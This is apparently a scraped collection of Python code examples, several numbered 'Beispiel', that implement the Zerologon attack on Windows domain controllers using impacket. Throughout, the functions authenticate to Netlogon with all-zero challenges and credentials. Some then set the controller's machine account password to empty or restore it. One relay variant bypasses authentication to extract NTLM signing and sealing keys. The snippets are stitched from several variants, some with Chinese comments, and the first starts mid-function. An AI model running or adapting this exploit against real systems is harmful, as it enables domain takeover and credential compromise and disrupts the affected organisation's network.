            nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse
            nrpc.OPNUMS[6] = (NetrServerPasswordSet,
                              nrpc.NetrServerPasswordSetResponse)

            request = NetrServerPasswordSet()
            request['PrimaryName'] = NULL
            request['AccountName'] = target_computer + '$\x00'
            request[
                'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
            request['ComputerName'] = target_computer + '\x00'
            request["Authenticator"] = authenticator
            pwdata = impacket.crypto.SamEncryptNTLMHash(
                unhexlify(originalpw), sessionKey)
            request["UasNewPassword"] = pwdata
            resp = rpc_con.request(request)
            resp.dump()

        except Exception as e:
            print(e)
        return rpc_con

    except nrpc.DCERPCSessionError as ex:
        # 失败应该是由于状态拒绝访问的错误,攻击可能不会起作用。
        if ex.get_error_code() == 0xc0000022:
            return None
        else:
            fail(f'来自DC的意外错误代码: {ex.get_error_code()}.')
    except BaseException as ex:
        fail(f'意外错误: {ex}.')
Beispiel #18
0
    def netlogonSessionKey(self, challenge, authenticateMessageBlob):
        # Here we will use netlogon to get the signing session key
        LOG.info("Connecting to %s NETLOGON service" % self.target.netloc)

        respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
        authenticateMessage = NTLMAuthChallengeResponse()
        authenticateMessage.fromString(respToken2['ResponseToken'])
        domainName = authenticateMessage['domain_name'].decode('utf-16le')
        flags = authenticateMessage['flags']
        try:
            av_pairs = authenticateMessage['ntlm'][44:]
            av_pairs = AV_PAIRS(av_pairs)

            serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
        except:
            LOG.debug("Exception:", exc_info=True)
            # We're in NTLMv1, not supported
            return STATUS_ACCESS_DENIED

        binding = epm.hept_map(self.target.netloc,
                               nrpc.MSRPC_UUID_NRPC,
                               protocol='ncacn_ip_tcp')

        dce = transport.DCERPCTransportFactory(binding).get_dce_rpc()
        dce.connect()
        dce.bind(nrpc.MSRPC_UUID_NRPC)
        MAX_ATTEMPTS = 6000
        for attempt in range(0, MAX_ATTEMPTS):
            resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName + '\x00',
                                                b'\x00' * 8)

            serverChallenge = resp['ServerChallenge']

            ppp = b'\x00' * 8
            try:
                nrpc.hNetrServerAuthenticate3(
                    dce, NULL, serverName + '$\x00',
                    nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
                    serverName + '\x00', ppp, 0x212effef)
            except nrpc.DCERPCSessionError as ex:
                # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
                if ex.get_error_code() == 0xc0000022:
                    continue
                else:
                    LOG.error('Unexpected error code from DC: %d.',
                              ex.get_error_code())
            except BaseException as ex:
                LOG.error('Unexpected error: %s', str(ex))
            LOG.info(
                'Netlogon Auth OK, successfully bypassed autentication using Zerologon after %d attempts!',
                attempt)
            break
        else:
            LOG.error(
                'No success bypassing auth after 6000 attempts. Target likely patched!'
            )
            return
        clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10)

        # Now let's try to verify the security blob against the PDC

        lflags = unpack('<L', b'\xe0\x2a\x00\x00')[0]
        request = nrpc.NetrLogonSamLogonWithFlags()
        request['LogonServer'] = '\x00'
        request['ComputerName'] = serverName + '\x00'
        request[
            'ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4

        request[
            'LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
        request['LogonInformation'][
            'tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'LogonDomainName'] = domainName
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'ParameterControl'] = lflags
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'UserName'] = authenticateMessage['user_name'].decode('utf-16le')
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'Workstation'] = ''
        request['LogonInformation']['LogonNetworkTransitive'][
            'LmChallenge'] = challenge
        request['LogonInformation']['LogonNetworkTransitive'][
            'NtChallengeResponse'] = authenticateMessage['ntlm']
        request['LogonInformation']['LogonNetworkTransitive'][
            'LmChallengeResponse'] = authenticateMessage['lanman']

        authenticator = nrpc.NETLOGON_AUTHENTICATOR()
        authenticator[
            'Credential'] = b'\x00' * 8  #nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey)
        authenticator['Timestamp'] = 0

        request['Authenticator'] = authenticator
        request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
        request['ReturnAuthenticator']['Timestamp'] = 0
        request['ExtraFlags'] = 0
        #request.dump()
        try:
            resp = dce.request(request)
            #resp.dump()
        except DCERPCException as e:
            LOG.debug('Exception:', exc_info=True)
            LOG.error(str(e))
            return e.get_error_code()

        LOG.info(
            "%s\\%s successfully validated through NETLOGON" %
            (domainName, authenticateMessage['user_name'].decode('utf-16le')))

        encryptedSessionKey = authenticateMessage['session_key']
        if encryptedSessionKey != '':
            signingKey = generateEncryptedSessionKey(
                resp['ValidationInformation']['ValidationSam4']
                ['UserSessionKey'], encryptedSessionKey)
        else:
            signingKey = resp['ValidationInformation']['ValidationSam4'][
                'UserSessionKey']

        LOG.info("NTLM Sign/seal key: %s " %
                 hexlify(signingKey).decode('utf-8'))
        if flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
            self.session._DCERPC_v5__clientSigningKey = ntlm.SIGNKEY(
                flags, signingKey)
            self.session._DCERPC_v5__serverSigningKey = ntlm.SIGNKEY(
                flags, signingKey, b"Server")
            self.session._DCERPC_v5__clientSealingKey = ntlm.SEALKEY(
                flags, signingKey)
            self.session._DCERPC_v5__serverSealingKey = ntlm.SEALKEY(
                flags, signingKey, b"Server")
            # Preparing the keys handle states
            cipher3 = ARC4.new(self.session._DCERPC_v5__clientSealingKey)
            self.session._DCERPC_v5__clientSealingHandle = cipher3.encrypt
            cipher4 = ARC4.new(self.session._DCERPC_v5__serverSealingKey)
            self.session._DCERPC_v5__serverSealingHandle = cipher4.encrypt
        else:
            # Same key for everything
            self.session._DCERPC_v5__clientSigningKey = signingKey
            self.session._DCERPC_v5__serverSigningKey = signingKey
            self.session._DCERPC_v5__clientSealingKey = signingKey
            self.session._DCERPC_v5__serverSealingKey = signingKey
            cipher = ARC4.new(self.session._DCERPC_v5__clientSigningKey)
            self.session._DCERPC_v5__clientSealingHandle = cipher.encrypt
            self.session._DCERPC_v5__serverSealingHandle = cipher.encrypt
        self.session._DCERPC_v5__sequence = 0
        self.session._DCERPC_v5__flags = flags
        return signingKey
    def __try_zero_authenticate(self, originalpw=None):
        # Connect to the DC's Netlogon service.
        binding = epm.hept_map(self.ipaddress,
                               nrpc.MSRPC_UUID_NRPC,
                               protocol='ncacn_ip_tcp')
        rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
        rpc_con.connect()
        rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

        # Use an all-zero challenge and credential.
        plaintext = b'\x00' * 8
        ciphertext = b'\x00' * 8

        # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
        flags = 0x212fffff

        # Send challenge and authentication request.
        serverChallengeResp = nrpc.hNetrServerReqChallenge(
            rpc_con, self.dc_handle + '\x00', self.hostname + '\x00',
            plaintext)
        serverChallenge = serverChallengeResp['ServerChallenge']
        try:
            server_auth = nrpc.hNetrServerAuthenticate3(
                rpc_con, self.dc_handle + '\x00', self.hostname + '$\x00',
                nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
                self.hostname + '\x00', ciphertext, flags)

            # It worked!
            assert server_auth['ErrorCode'] == 0
            if not originalpw:
                return rpc_con
            else:
                print()
                server_auth.dump()
                print("server challenge", serverChallenge)
                sessionKey = nrpc.ComputeSessionKeyAES(
                    None, b'\x00' * 8, serverChallenge,
                    unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"))
                print("session key", sessionKey)

                try:
                    authenticator = nrpc.NETLOGON_AUTHENTICATOR()
                    authenticator[
                        'Credential'] = ciphertext  #authenticatorCred
                    authenticator[
                        'Timestamp'] = b"\x00" * 4  #0 # timestamp_var

                    nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse
                    nrpc.OPNUMS[6] = (NetrServerPasswordSet,
                                      nrpc.NetrServerPasswordSetResponse)

                    request = NetrServerPasswordSet()
                    request['PrimaryName'] = NULL
                    request['AccountName'] = self.hostname + '$\x00'
                    request[
                        'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
                    request['ComputerName'] = self.hostname + '\x00'
                    request["Authenticator"] = authenticator
                    pwdata = impacket.crypto.SamEncryptNTLMHash(
                        unhexlify(originalpw), sessionKey)
                    request["UasNewPassword"] = pwdata
                    resp = rpc_con.request(request)
                    resp.dump()

                except Exception as e:
                    print(e)
                return rpc_con

        except nrpc.DCERPCSessionError as ex:
            # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
            if ex.get_error_code() == 0xc0000022:
                return None
            else:
                fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
        except BaseException as ex:
            fail(f'Unexpected error: {ex}.')
Beispiel #20
0
    def netlogonSessionKey(self, challenge, authenticateMessageBlob):
        # Here we will use netlogon to get the signing session key
        print "[*] Connecting to %s NETLOGON service" % self.domainIp

        respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
        authenticateMessage = ntlm.NTLMAuthChallengeResponse()
        authenticateMessage.fromString(respToken2['ResponseToken'])
        _, machineAccount = self.machineAccount.split('/')
        domainName = authenticateMessage['domain_name'].decode('utf-16le')

        try:
            av_pairs = authenticateMessage['ntlm'][44:]
            av_pairs = ntlm.AV_PAIRS(av_pairs)

            serverName = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode(
                'utf-16le')
        except:
            # We're in NTLMv1, not supported
            return STATUS_ACCESS_DENIED

        stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.domainIp

        rpctransport = transport.DCERPCTransportFactory(stringBinding)

        if len(self.machineHashes) > 0:
            lmhash, nthash = self.machineHashes.split(':')
        else:
            lmhash = ''
            nthash = ''

        if hasattr(rpctransport, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            rpctransport.set_credentials(machineAccount, '', domainName,
                                         lmhash, nthash)

        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(nrpc.MSRPC_UUID_NRPC)
        resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName + '\x00',
                                            '12345678')

        serverChallenge = resp['ServerChallenge']

        if self.machineHashes == '':
            ntHash = None
        else:
            ntHash = self.machineHashes.split(':')[1].decode('hex')

        sessionKey = nrpc.ComputeSessionKeyStrongKey('', '12345678',
                                                     serverChallenge, ntHash)

        ppp = nrpc.ComputeNetlogonCredential('12345678', sessionKey)

        resp = nrpc.hNetrServerAuthenticate3(
            dce, NULL, machineAccount + '\x00',
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
            serverName + '\x00', ppp, 0x600FFFFF)

        clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10)

        # Now let's try to verify the security blob against the PDC

        request = nrpc.NetrLogonSamLogonWithFlags()
        request['LogonServer'] = '\x00'
        request['ComputerName'] = serverName + '\x00'
        request[
            'ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4

        request[
            'LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
        request['LogonInformation'][
            'tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'LogonDomainName'] = domainName
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'ParameterControl'] = 0
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'UserName'] = authenticateMessage['user_name'].decode('utf-16le')
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'Workstation'] = ''
        request['LogonInformation']['LogonNetworkTransitive'][
            'LmChallenge'] = challenge
        request['LogonInformation']['LogonNetworkTransitive'][
            'NtChallengeResponse'] = authenticateMessage['ntlm']
        request['LogonInformation']['LogonNetworkTransitive'][
            'LmChallengeResponse'] = authenticateMessage['lanman']

        authenticator = nrpc.NETLOGON_AUTHENTICATOR()
        authenticator['Credential'] = nrpc.ComputeNetlogonCredential(
            clientStoredCredential, sessionKey)
        authenticator['Timestamp'] = 10

        request['Authenticator'] = authenticator
        request['ReturnAuthenticator']['Credential'] = '\x00' * 8
        request['ReturnAuthenticator']['Timestamp'] = 0
        request['ExtraFlags'] = 0
        #request.dump()
        try:
            resp = dce.request(request)
            #resp.dump()
        except Exception, e:
            #import traceback
            #print traceback.print_exc()
            print "[!] %s " % e
            return e.get_error_code()
Beispiel #21
0
def try_zero_authenticate(dc_handle, dc_ip, target_computer):
    # 连接到DC的Netlogon服务。
    binding = epm.hept_map(dc_ip,
                           nrpc.MSRPC_UUID_NRPC,
                           protocol='ncacn_ip_tcp')
    rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
    rpc_con.connect()
    rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

    # 使用全零challenge和证书。
    plaintext = b'\x00' * 8
    ciphertext = b'\x00' * 8

    # Windows 10客户端观察到的标准标志(包括AES),只有签名/印章标志被禁用。
    flags = 0x212fffff

    # 发送challenge和证书请求包。
    serverChallengeResp = nrpc.hNetrServerReqChallenge(
        rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
    serverChallenge = serverChallengeResp['ServerChallenge']
    try:
        server_auth = nrpc.hNetrServerAuthenticate3(
            rpc_con, dc_handle + '\x00', target_computer + "$\x00",
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
            target_computer + '\x00', ciphertext, flags)

        # worked!
        assert server_auth['ErrorCode'] == 0
        print()
        server_auth.dump()
        print("server challenge", serverChallenge)

        try:
            IV = b'\x00' * 16
            authenticator = nrpc.NETLOGON_AUTHENTICATOR()
            authenticator['Credential'] = ciphertext  #authenticatorCred
            authenticator['Timestamp'] = b"\x00" * 4  #0 # 时间戳

            request = nrpc.NetrServerPasswordSet2()
            request['PrimaryName'] = NULL
            request['AccountName'] = target_computer + '$\x00'
            request[
                'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
            request['ComputerName'] = target_computer + '\x00'
            request["Authenticator"] = authenticator
            request["ClearNewPassword"] = b"\x00" * 516
            resp = rpc_con.request(request)
            resp.dump()

        except Exception as e:
            print(e)
        return rpc_con

    except nrpc.DCERPCSessionError as ex:
        # 失败应该是由于状态拒绝访问的错误,攻击可能不会起作用。
        if ex.get_error_code() == 0xc0000022:
            return None
        else:
            fail(f'来自DC的意外错误代码: {ex.get_error_code()}.')
    except BaseException as ex:
        fail(f'意外错误: {ex}.')
Beispiel #22
0
 def update_authenticator(self):
     authenticator = nrpc.NETLOGON_AUTHENTICATOR()
     authenticator['Credential'] = nrpc.ComputeNetlogonCredential(self.clientStoredCredential, self.sessionKey)
     authenticator['Timestamp'] = 10
     return authenticator
def try_zero_authenticate(dc_handle, dc_ip, target_computer):
    # Connect to the DC's Netlogon service.
    binding = epm.hept_map(dc_ip,
                           nrpc.MSRPC_UUID_NRPC,
                           protocol='ncacn_ip_tcp')
    rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
    rpc_con.connect()
    rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

    # Use an all-zero challenge and credential.
    plaintext = b'\x00' * 8
    ciphertext = b'\x00' * 8

    # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
    flags = 0x212fffff

    # Send challenge and authentication request.
    serverChallengeResp = nrpc.hNetrServerReqChallenge(
        rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
    serverChallenge = serverChallengeResp['ServerChallenge']
    try:
        server_auth = nrpc.hNetrServerAuthenticate3(
            rpc_con, dc_handle + '\x00', target_computer + "$\x00",
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
            target_computer + '\x00', ciphertext, flags)

        # It worked!
        assert server_auth['ErrorCode'] == 0
        print()
        server_auth.dump()
        print("server challenge", serverChallenge)
        #sessionKey = nrpc.ComputeSessionKeyAES(None,b'\x00'*8, serverChallenge, unhexlify("c9a22836bc33154d0821568c3e18e7ff")) # that ntlm is just a randomly generated machine hash from a lab VM, it's not sensitive
        #print("session key", sessionKey)

        try:
            IV = b'\x00' * 16
            #Crypt1 = AES.new(sessionKey, AES.MODE_CFB, IV)
            #serverCred = Crypt1.encrypt(serverChallenge)
            #print("server cred", serverCred)
            #clientCrypt = AES.new(sessionKey, AES.MODE_CFB, IV)
            #clientCred = clientCrypt.encrypt(b'\x00'*8)
            #print("client cred", clientCred)
            #timestamp_var = 10
            #clientStoredCred =  pack('<Q', unpack('<Q', b'\x00'*8)[0] + timestamp_var)
            #print("client stored cred", clientStoredCred)
            authenticator = nrpc.NETLOGON_AUTHENTICATOR()
            #authenticatorCrypt = AES.new(sessionKey, AES.MODE_CFB, IV)
            #authenticatorCred = authenticatorCrypt.encrypt(clientStoredCred);
            #print("authenticator cred", authenticatorCred)
            authenticator['Credential'] = ciphertext  #authenticatorCred
            authenticator['Timestamp'] = b"\x00" * 4  #0 # timestamp_var
            #request = nrpc.NetrLogonGetCapabilities()
            #request['ServerName'] = '\x00'*20
            #request['ComputerName'] = target_computer + '\x00'
            #request['Authenticator'] = authenticator
            #request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
            #request['ReturnAuthenticator']['Timestamp'] = 0
            #request['QueryLevel'] = 1
            #resp = rpc_con.request(request)
            #resp.dump()

            request = nrpc.NetrServerPasswordSet2()
            request['PrimaryName'] = NULL
            request['AccountName'] = target_computer + '$\x00'
            request[
                'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
            request['ComputerName'] = target_computer + '\x00'
            request["Authenticator"] = authenticator
            #request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
            #request['ReturnAuthenticator']['Timestamp'] = 0
            request["ClearNewPassword"] = nrpc.NL_TRUST_PASSWORD()
            request["ClearNewPassword"]["Buffer"] = b'\x00' * 512
            request["ClearNewPassword"][
                "Length"] = 0  # It winds up being 516 bytes mentioned in the Secur whitepaper because this is 4 bytes
            resp = rpc_con.request(request)
            resp.dump()

            #request['PrimaryName'] = NULL
            #request['ComputerName'] = target_computer + '\x00'
            #request['OpaqueBuffer'] = b'HOLABETOCOMOANDAS\x00'
            #request['OpaqueBufferSize'] = len(b'HOLABETOCOMOANDAS\x00')
            #resp = rpc_con.request(request)
            #resp.dump()
        except Exception as e:
            print(e)
        return rpc_con

    except nrpc.DCERPCSessionError as ex:
        #print(ex)
        # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
        if ex.get_error_code() == 0xc0000022:
            return None
        else:
            fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
    except BaseException as ex:
        fail(f'Unexpected error: {ex}.')